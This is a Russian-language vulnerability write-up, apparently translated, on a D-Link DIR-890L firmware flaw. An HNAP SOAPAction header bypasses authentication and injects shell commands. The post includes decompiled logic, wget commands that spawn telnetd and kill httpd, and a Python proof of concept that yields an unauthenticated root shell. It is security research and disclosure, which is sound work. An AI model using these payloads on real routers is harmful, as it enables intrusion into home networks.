Последние 6 месяцев, я был жутко занят и не следил за новыми хренями от D-Link. Чтобы немного поразвлечься, я зашел на их сайт, и меня поприветствовал этот кошмар:
Самый безумный роутер D-Link DIR-890L за $300
Пожалуй, самым «безумным» в роутере является то, что он работает под управлением все той же забагованнойпрошивки, которую D-Link ставит в свои роутеры вот уже несколько лет…and the hits just keep on coming.
Хорошо, давайте как обычно — возьмем последнюю версию прошивки, пройдемся по ней binwalk и посмотрим, что мы получили:
DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7" 116 0x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156 0x1C0094 Squashfs filesystem, little endian, version 4.0, compress
Похоже на обычную прошивку с Linux, а если вы заглядывали в любую прошивку D-Link за последние несколько лет, вы без труда вспомните структуру директорий:
$ ls squashfs-root bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
Все, что относится к HTTP, UPnP и HNAP, расположено в директории htdocs. Самый интересный файл здесь — htdocs/cgibin — ELF-бинарник для ARM, который выполняется вебсервером для, хм, почти всего: все симлинки к CGI, UPnP и HNAP-ссылкам ведут на этот файл:
$ ls -l htdocs/web/*.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
Он, конечно же, stripped, но в нем есть множество строк, которые будут нам в помощь. В первую очередь, main
сравнивает argv[0]
со списком известных ему имен симлинков (captcha.cgi
, conntrack.cgi
и т.д.) чтобы определить, какое действие выполнять:
Граф вызовов, типичный каскад if/else
Каждое сравнение производится вызовом strcmp на известные имена симлинков:
Разные функции обработчиков разных симлинков
Чтобы упростить сопоставление функций-обработчиков и симлинков, переименуем их, согласно имени симлинка:
Переименованные функции-обработчики
Теперь, когда у нас есть имена функций, давайте начнем искать баги. Другие устройства от D-Link, работающие под управлением точно такой же прошивки, ранее были взломаны через HTTP и UPnP-интерфейсы, однако, HNAP-интерфейс, который обрабатывается функцией hnap_main
в cgibin
, похоже, никто особо не смотрел.
HNAP (Home Network Administration Protocol) — протокол на основе SOAP, похожий на UPnP, который обычно используется утилитой для первоначальной настройки D-Link роутеров «EZ». В отличие от UPnP, все действия HNAP, кроме GetDeviceInfo
(который бесполезен), требуют HTTP Basic-аутентификацию.
POST /HNAP1 HTTP/1.1 Host: 192.168.0.1 Authorization: Basic YWMEHZY+ Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <AddPortMapping xmlns="http://purenetworks.com/HNAP1/"> <PortMappingDescription>foobar</PortMappingDescription> <InternalClient>192.168.0.100</InternalClient> <PortMappingProtocol>TCP</PortMappingProtocol> <ExternalPort>1234</ExternalPort> <InternalPort>1234</InternalPort> </AddPortMapping> </soap:Body> </soap:Envelope>
Заголовок SOAPAction
очень важен в HNAP-запросе, т.к. именно он задает, какое действие выполнит сервер (действие AddPortMapping
в примере выше).
Вследствие того, что cgibin
запускается как CGI-приложение веб-сервером, hnap_main
получает данные HNAP-запроса, например, заголовок SOAPAction
, через переменные окружения:
SOAPAction = getenv(“HTTP_SOAPACTION”);
Ближе к концу hnap_main
, вызовом sprintf
генерируется shell-команда, которая затем выполняется черезsystem
:
sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);
Очевидно, что hnap_main
использует данные из заголовка SOAPAction
внутри команды system
! Этот баг подает надежды, особенно, если заголовок SOAPAction
не экранируется, и если мы сможем попасть в это место без аутентификации.
В начале hnap_main
проверяется, равен ли заголовок SOAPAction
строкеhttp://purenetworks.com/HNAP1/GetDeviceSettings
, и если он равен, аутентификация пропускается. Это ожидаемо, мы уже подметили ранее, что GetDeviceSettings
не требует аутентификации:
if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)
Заметим, однако, что для проверки используется функция strstr
, которая только проверяет наличие строкиhttp://purenetworks.com/HNAP1/GetDeviceSettings
в заголовке SOAPAction
, а не равенство ей.
Итак, если заголовок SOAPAction
содержит подстроку http://purenetworks.com/HNAP1/GetDeviceSettings
, функция достает название действия (т.е. GetDeviceSettings
) из заголовка и убирает двойные кавычки:
SOAPAction = strrchr(SOAPAction, ‘/’);
Имя действия (GetDeviceSettings
) вычленяется из заголовка, затем попадает в system
, проходя sprintf
.
Вот код на C, который демонстрирует ошибку в логике:
/* Grab a pointer to the SOAPAction header */SOAPAction = getenv("HTTP_SOAPACTION"); /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL) { /* do auth check */} /* Do a reverse search for the last forward slash in the SOAPAction header */SOAPAction = strrchr(SOAPAction, '/'); if(SOAPAction != NULL) { /* Point the SOAPAction pointer one byte beyond the last forward slash */ SOAPAction += 1; /* Get rid of any trailing double quotes */ if(SOAPAction[strlen(SOAPAction)-1] == '"') { SOAPAction[strlen(SOAPAction)-1] = '�'; } } else { goto failure_condition; } /* Build the command using the specified SOAPAction string and execute it */sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction); system(command);
Итак, что мы из этого вынесли:
SOAPAction
есть подстрокаhttp://purenetworks.com/HNAP1/GetDeviceSettings
sprintf
(и system
) передается все, что находится после последнего слеша в заголовке SOAPAction
Мы с легкостью можем сформировать заголовок SOAPAction
, который будет удовлетворять пропуску аутентификации и позволять нам передавать свою строку в system
:
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
http://purenetworks.com/HNAP1/GetDeviceSettings
в заголовке позволяет нам обойти аутентификацию, а строка `reboot`
будет передана в system
system("sh /var/run/`reboot`.sh > /dev/console");
Заменой reboot
на telnetd
мы запустим telnet-сервер без аутентификации:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
Мы можем отправлять HNAP-запросы из WAN, если было включено удаленное администрирование. Конечно, брандмауер блокирует все входящие соединения на telnet из WAN. Самое простое решение — убить HTTP-сервер и запустить telnetd на его порту:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. #
Замечу, что wget будет висеть в ожидании ответа, т.к. cgibin
будет ожидать завершение telnetd. Вот маленький PoC на Python, который все делает чуточку удобней:
#!/usr/bin/env python import sys import urllib2 import httplib try: ip_port = sys.argv[1].split(':') ip = ip_port[0] if len(ip_port) == 2: port = ip_port[1] elif len(ip_port) == 1: port = "80" else: raise IndexError except IndexError: print "Usage: %s <target ip:port>" % sys.argv[0] sys.exit(1) url = "http://%s:%s/HNAP1" % (ip, port) # NOTE: If exploiting from the LAN, telnetd can be started on # any port; killing the http server and re-using its port # is not necessary. # # Killing off all hung hnap processes ensures that we can # re-start httpd later. command = "killall httpd; killall hnap; telnetd -p %s" % port headers = { "SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command, } req = urllib2.Request(url, None, headers) try: urllib2.urlopen(req) raise Exception("Unexpected response") except httplib.BadStatusLine: print "Exploit sent, try telnetting to %s:%s!" % (ip, port) print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'" sys.exit(0) except Exception: print "Received an unexpected response from the server; exploit probably failed. :("
Я проверил этот баг на прошивках v1.00 и v1.03 (последняя на момент написания статьи), и они обе уязвимы. Но, как это обычно бывает с большинством уязвимостей в embedded, этот код попал и в прошивки других устройств.
Анализировать все прошивки довольно утомительно, поэтому я передал инфромацию о баге командеCentrifuge, у которых есть отличие утилиты для автоматического анализа подобных вещей. Centrifuge обнаружили эту уязвимость в следующих моделях:
Насколько я знаю, HNAP на этих устройствах никаким образом отключить нельзя.
UPDATE: Похоже, в начале года этот же баг нашел Samuel Huntly, но он был исправлен только для DIR-645. Патч достаточно хреновый, ждите его разбор в следующем посте.
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…
View Comments